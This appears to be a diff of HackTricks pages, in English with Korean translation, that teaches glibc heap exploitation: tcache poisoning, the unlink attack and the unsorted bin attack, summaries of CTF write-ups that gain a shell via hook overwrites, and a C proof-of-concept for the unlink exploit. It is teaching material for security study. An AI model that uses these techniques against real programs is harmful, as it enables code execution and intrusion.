### Simple Use After Free
### 간단한 사용 후 해제
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
공격자가 **해제된 청크에 정보를 쓸 수 있다면**, 필요한 포인터를 덮어쓰는 데 이를 악용할 수 있습니다.
### Double Free
### 이중 해제
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
공격자가 **같은 청크를 두 번 `free`할 수 있다면** (사이사이에 다른 청크를 해제할 수 있음) 그리고 **같은 빈에 두 번 존재하게 만들 수 있다면**, 사용자가 **청크를 나중에 할당하고**, **필요한 포인터를 쓴 다음** **다시 할당**하여 청크가 할당되는 동작을 유발할 수 있습니다 (예: 패스트 빈 공격, tcache 공격...)
### Heap Overflow
### 힙 오버플로우
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
**해제된 청크 다음에 할당된 청크를 오버플로우**하여 그 일부 헤더/포인터를 수정할 수 있을지도 모릅니다.
### Off-by-one overflow
### 오프 바이 원 오버플로우
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
이 경우 메모리에서 **다음 청크의 크기를 수정**할 수 있습니다. 공격자는 이를 악용하여 **할당된 청크의 크기를 더 크게 만들고**, 그 다음 **`free`**하여 청크가 **다른 크기(더 큰)의 빈에 추가되게** 한 다음 **가짜 크기를 할당**하면 공격자는 **실제보다 더 큰 크기의 청크에 접근**할 수 있게 되어, **따라서 겹치는 청크 상황**을 허용하게 되며, 이는 **힙 오버플로우**와 같은 방식으로 악용될 수 있습니다 (이전 섹션 참조).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,44 +4,44 @@
## Basic Information
For more information about what is a Tcache bin check this page:
Tcache bin에 대한 자세한 정보는 이 페이지를 확인하세요:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26.
우선, Tcache는 Glibc 버전 2.26에서 도입되었음을 주목하세요.
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
**Tcache attack**(또는 **Tcache poisoning**)은 [**guyinatuxido 페이지**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html)에서 제안된 것으로, 목표는 해제된 청크 내의 빈에서 다음 청크에 대한 포인터를 임의의 주소로 덮어쓰는 것으로, 이후 특정 주소를 **할당하고 포인터를 덮어쓸 수 있게** 하는 것입니다.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
하지만 현재 언급된 코드를 실행하면 **`malloc(): unaligned tcache chunk detected`**라는 오류가 발생합니다. 따라서 새로운 포인터에 쓸 주소는 정렬된 주소여야 하며(또는 이진 파일을 충분히 실행하여 쓴 주소가 실제로 정렬되도록 해야 합니다).
### Tcache indexes attack
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
일반적으로 힙의 시작 부분에서 **tcache 내 인덱스당 청크 수**와 각 tcache 인덱스의 **헤드 청크 주소**를 포함하는 청크를 찾을 수 있습니다. 어떤 이유로 이 정보를 수정할 수 있다면, **어떤 인덱스의 헤드 청크를 원하는 주소**(예: `__malloc_hook`)를 가리키게 할 수 있으며, 이후 인덱스 크기만큼의 청크를 할당하고 이 경우 `__malloc_hook`의 내용을 덮어쓸 수 있습니다.
## Examples
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
- **Libc info leak**: tcaches를 채우고, 정렬되지 않은 리스트에 청크를 추가하고, tcache를 비운 후 **정렬되지 않은 빈에서 청크를 다시 할당**하여 첫 8B만 덮어쓰고, **청크의 두 번째 주소를 libc에서 그대로 두어 읽을 수 있게** 합니다.
- **Tcache attack**: 이 이진 파일은 1B 힙 오버플로우에 취약합니다. 이를 이용해 할당된 청크의 **크기 헤더**를 변경하여 더 크게 만듭니다. 그런 다음 이 청크는 **해제**되어 가짜 크기의 청크 tcache에 추가됩니다. 이후 가짜 크기로 청크를 할당하면 이전 청크가 **반환되며 이 청크는 실제로 더 작았음을 알 수 있습니다**. 이는 **메모리의 다음 청크를 덮어쓸 기회를 제공합니다**.\
우리는 이를 이용해 **다음 청크의 FD 포인터를** **`malloc_hook`**를 가리키도록 덮어씁니다. 그러면 두 개의 포인터를 할당할 수 있습니다: 첫 번째는 우리가 방금 수정한 정당한 포인터이고, 두 번째 할당은 **`malloc_hook`**에 있는 청크를 반환하여 **one gadget**를 쓰는 데 악용할 수 있습니다.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
- **Libc info leak**: 사용 후 해제와 이중 해제가 있습니다. 이 글에서 저자는 작은 빈에 배치된 청크의 주소를 읽어 libc의 주소를 유출했습니다(정렬되지 않은 빈에서 유출하는 것과 비슷하지만 작은 빈에서).
- **Tcache attack**: Tcache는 **이중 해제**를 통해 수행됩니다. 동일한 청크가 두 번 해제되므로 Tcache 내에서 청크는 자신을 가리킵니다. 그런 다음 할당되고, FD 포인터가 **free hook**를 가리키도록 수정된 후 다시 할당되어 리스트의 다음 청크가 free hook에 위치하게 됩니다. 그런 다음 이것도 할당되어 `system`의 주소를 여기에 쓸 수 있으므로 `"/bin/sh"`를 포함하는 malloc이 해제될 때 셸을 얻습니다.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
- 여기서 주요 취약점은 오프셋을 지정하여 힙의 **어떤 주소든 `free`**할 수 있는 능력입니다.
- **Tcache indexes attack**: tcache 청크(청크의 tcache 빈 정보가 포함된 청크) 내에 저장될 때 **값이 0x100인 주소**를 생성하는 크기의 청크를 할당하고 해제할 수 있습니다. 이는 tcache가 각 빈의 청크 수를 서로 다른 바이트에 저장하기 때문이며, 따라서 특정 인덱스의 청크가 0x100 값을 생성합니다.
- 그런 다음 이 값은 크기 0x100의 청크가 있는 것처럼 보입니다. 이를 통해 이 주소를 `free`하여 **tcache의 크기 0x100 청크 인덱스에 해당 주소를 추가**할 수 있습니다.
- 그런 다음 **크기 0x100의 청크를 할당하면**, 이전 주소가 청크로 반환되어 다른 tcache 인덱스를 덮어쓸 수 있습니다.\
예를 들어 malloc hook의 주소를 그 중 하나에 넣고 해당 인덱스 크기의 청크를 할당하면 calloc hook에서 청크를 얻을 수 있으며, 이는 one gadget을 써서 셸을 얻는 것을 허용합니다.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
- 이전과 동일한 취약점이지만 하나의 추가 제한이 있습니다.
- **Tcache indexes attack**: 이전과 유사한 공격이지만 **tcache 정보를 포함하는 청크를 해제**하여 그 주소가 해당 크기의 tcache 인덱스에 추가되도록 하여 해당 크기를 할당하고 tcache 청크 정보를 청크로 얻을 수 있습니다. 이를 통해 free hook을 인덱스의 주소로 추가하고 할당하여 one gadget을 쓸 수 있습니다.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer.
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- **Glibc leak** through `stdout` (FSOP).
- **Tcache poisoning** to get an arbitrary write primitive.
- `fd` 포인터에 숫자를 추가하기 위한 **Write After Free**.
- 이 도전 과제에서는 많은 **heap feng-shui**가 필요합니다. 이 글에서는 **Tcache**의 헤드를 제어하는 것이 매우 유용하다는 것을 보여줍니다.
- `stdout`를 통한 **Glibc leak** (FSOP).
- 임의의 쓰기 원시를 얻기 위한 **Tcache poisoning**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,13 @@
## Basic Information
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
이 공격이 발견되었을 때, 주로 WWW (Write What Where)를 허용했지만, 몇 가지 **검사가 추가되어** 공격의 새로운 버전이 더 흥미롭고 더 복잡하며 **무용지물**이 되었습니다.
### Code Example:
<details>
<summary>Code</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
printf("%s\n", data);
return 0;
return 0;
}
```
</details>
- Attack doesn't work if tcaches are used (after 2.26)
- tcaches가 사용되면 공격이 작동하지 않음 (2.26 이후)
### Goal
### 목표
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
이 공격은 **청크에 대한 포인터를 자신보다 3 주소 앞을 가리키도록 변경할 수 있게 해줍니다**. 이 새로운 위치(포인터가 위치했던 주변)에 다른 제어 가능한 할당/스택과 같은 흥미로운 내용이 있다면, 이를 읽거나 덮어써서 더 큰 피해를 줄 수 있습니다.
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
- 이 포인터가 스택에 위치해 있었다면, 이제 자신보다 3 주소 앞을 가리키고 사용자가 이를 읽고 수정할 수 있으므로, 스택에서 민감한 정보를 유출하거나 반환 주소를 수정할 수 있습니다(아마도) 캔을 건드리지 않고.
- CTF 예제에서는 이 포인터가 다른 할당에 대한 포인터 배열에 위치해 있으므로, 3 주소 앞을 가리키도록 만들고 이를 읽고 쓸 수 있게 되면, 다른 포인터가 다른 주소를 가리키도록 만들 수 있습니다.\
사용자가 다른 할당도 읽고 쓸 수 있으므로, 정보를 유출하거나 임의의 위치(예: GOT)에 새로운 주소를 덮어쓸 수 있습니다.
### Requirements
### 요구 사항
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
- Stack leak in order to set the pointers of the fake chunk.
- 몇 개의 청크를 생성하기 위해 메모리(예: 스택)에 대한 일부 제어가 필요합니다.
- 가짜 청크의 포인터를 설정하기 위한 스택 유출이 필요합니다.
### Attack
### 공격
- There are a couple of chunks (chunk1 and chunk2)
- The attacker controls the content of chunk1 and the headers of chunk2.
- In chunk1 the attacker creates the structure of a fake chunk:
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
- 두 개의 청크가 있습니다(청크1 및 청크2).
- 공격자는 청크1의 내용을 제어하고 청크2의 헤더를 제어합니다.
- 청크1에서 공격자는 가짜 청크의 구조를 생성합니다:
- 보호를 우회하기 위해 `size` 필드가 올바른지 확인하여 오류: `corrupted size vs. prev_size while consolidating`를 피합니다.
- 그리고 가짜 청크의 `fd``bk` 필드는 청크1 포인터가 저장된 위치를 각각 -3 및 -2의 오프셋으로 가리키도록 설정하여 `fake_chunk->fd->bk``fake_chunk->bk->fd`가 청크1 주소가 위치한 메모리(스택)의 위치를 가리키게 합니다:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
- When the second chunk is freed then this fake chunk is unlinked happening:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
- 청크2의 헤더는 이전 청크가 사용되지 않음을 나타내고 가짜 청크의 크기를 포함된 크기로 수정됩니다.
- 두 번째 청크가 해제되면 이 가짜 청크가 연결 해제되어 다음과 같은 일이 발생합니다:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- 이전에 `fake_chunk->fd->bk``fake_chunk->bk->fd`가 같은 위치(청크1이 저장된 스택의 위치)를 가리키도록 설정되었으므로 유효한 연결 리스트였습니다. **두 개가 같은 위치를 가리키고 있기 때문에** 마지막 것(`fake_chunk->bk->fd = fake_chunk->fd`)만 **효과**를 가집니다.
- 이는 **스택에서 청크1에 대한 포인터를 스택에서 3 주소 앞에 저장된 주소(또는 바이트)로 덮어씁니다**.
- 따라서 공격자가 청크1의 내용을 다시 제어할 수 있다면, **스택 내부에 쓸 수 있게 되어 캔을 건드리지 않고 반환 주소를 덮어쓰고 지역 변수의 값과 포인터를 수정할 수 있습니다**. 심지어 스택에 저장된 청크1의 주소를 다른 위치로 수정하여 공격자가 청크1의 내용을 다시 제어할 수 있다면 어디든 쓸 수 있게 됩니다.
- 이는 **주소가 스택에 저장되기 때문에 가능했습니다**. 위험과 악용은 **가짜 청크에 대한 주소가 어디에 저장되는지에 따라 달라질 수 있습니다**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References
## 참고 문헌
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
- CTF에서 unlink 공격을 찾는 것은 이상하겠지만, 이 공격이 사용된 몇 가지 작성물이 있습니다:
- CTF 예제: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- 이 예제에서는 스택 대신 malloc된 주소의 배열이 있습니다. unlink 공격이 수행되어 여기에서 청크를 할당할 수 있게 되어 malloc된 주소 배열의 포인터를 제어할 수 있습니다. 그런 다음 이러한 주소의 청크 내용을 수정할 수 있는 또 다른 기능이 있어 GOT의 주소를 가리키고, 함수 주소를 수정하여 유출 및 RCE를 얻을 수 있습니다.
- 또 다른 CTF 예제: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- 이전 예제와 마찬가지로 할당 주소의 배열이 있습니다. unlink 공격을 수행하여 첫 번째 할당의 주소가 배열 시작 몇 위치 앞을 가리키도록 하고 이 할당을 새로운 위치에 덮어쓸 수 있습니다. 따라서 다른 할당의 포인터를 GOT의 atoi를 가리키도록 덮어쓰고 이를 출력하여 libc 유출을 얻은 다음 atoi GOT를 원가젯의 주소로 덮어쓸 수 있습니다.
- unlink 공격과 매우 유사한 취약점을 악용하는 사용자 정의 malloc 및 free 함수가 있는 CTF 예제: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- FD 및 BK 포인터를 제어할 수 있는 오버플로우가 있으며, 사용자 정의 malloc이 (사용자 정의) 해제됩니다. 또한 힙에 exec 비트가 있어 힙 주소를 유출하고 GOT의 함수를 힙 청크에 있는 쉘코드로 가리키도록 할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,70 +4,70 @@
## Basic Information
For more information about what is an unsorted bin check this page:
Unsorted bin이 무엇인지에 대한 더 많은 정보는 이 페이지를 확인하세요:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
Unsorted 리스트는 chunk의 `bk` 주소에 `unsorted_chunks (av)`의 주소를 쓸 수 있습니다. 따라서 공격자가 unsorted bin 내의 chunk에서 **`bk` 포인터의 주소를 수정할 수 있다면**, 그는 **그 주소를 임의의 주소에 쓸 수 있게 되어** Glibc 주소를 유출하거나 일부 방어를 우회하는 데 도움이 될 수 있습니다.
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
기본적으로 이 공격은 **임의의 주소에 큰 숫자를 설정할 수 있게 해줍니다**. 이 큰 숫자는 주소로, 힙 주소나 Glibc 주소일 수 있습니다. 일반적인 목표는 **`global_max_fast`**로, 더 큰 크기의 fast bin을 생성할 수 있게 해줍니다(unsorted bin 공격에서 fast bin 공격으로 넘어갈 수 있습니다).
> [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
> [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle)에서 제공된 예제를 살펴보면, chunk 크기로 0x4000과 0x5000을 사용하고 Tcache를 피하기 위해 0x400과 0x500 대신 사용하면 **현재** 오류 **`malloc(): unsorted double linked list corrupted`**가 발생하는 것을 볼 수 있습니다.
>
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> 따라서 이 unsorted bin 공격은 이제 (다른 체크와 함께) 연결 리스트를 수정할 수 있어야 하며, `victim->bk->fd == victim` 또는 `victim->fd == av (arena)`가 아닌 경우를 우회해야 합니다. 이는 우리가 쓰고자 하는 주소가 가짜 chunk의 `fd` 위치에 가짜 chunk의 주소를 가져야 하며, 가짜 chunk의 `fd`가 arena를 가리켜야 함을 의미합니다.
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
> 이 공격은 unsorted bin을 손상시킵니다(따라서 small과 large도 마찬가지입니다). 따라서 우리는 이제 **fast bin에서 할당만 사용할 수 있습니다**(더 복잡한 프로그램은 다른 할당을 수행하고 충돌할 수 있습니다), 이를 트리거하기 위해서는 **같은 크기를 할당해야 하며, 그렇지 않으면 프로그램이 충돌합니다.**
>
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
> **`global_max_fast`**를 덮어쓰는 것이 이 경우에 도움이 될 수 있으며, fast bin이 exploit이 완료될 때까지 다른 모든 할당을 처리할 수 있다고 믿는 것입니다.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html)의 코드는 이를 매우 잘 설명하고 있으며, mallocs를 수정하여 Tcache에 끝나지 않도록 충분히 큰 메모리를 할당하면 앞서 언급한 오류가 발생하여 이 기술을 방지하는 것을 볼 수 있습니다: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
이것은 실제로 매우 기본적인 개념입니다. unsorted bin의 chunk는 포인터를 가질 것입니다. unsorted bin의 첫 번째 chunk는 실제로 **`fd`**와 **`bk`** 링크가 **주요 arena (Glibc)**의 일부를 가리키게 됩니다.\
따라서 **unsorted bin에 chunk를 넣고 읽거나** (use after free) **포인터 중 적어도 하나를 덮어쓰지 않고 다시 할당하여** **읽으면**, **Glibc 정보 유출**을 얻을 수 있습니다.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
이 [**writeup에서 사용된 유사한 공격**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)은 4개의 chunk 구조(A, B, C 및 D - D는 top chunk와의 통합을 방지하기 위해서만 사용됨)를 악용하여 B에서 null byte overflow를 사용하여 C가 B가 사용되지 않았음을 나타내도록 했습니다. 또한 B에서 `prev_size` 데이터를 수정하여 크기가 B의 크기 대신 A+B가 되도록 했습니다.\
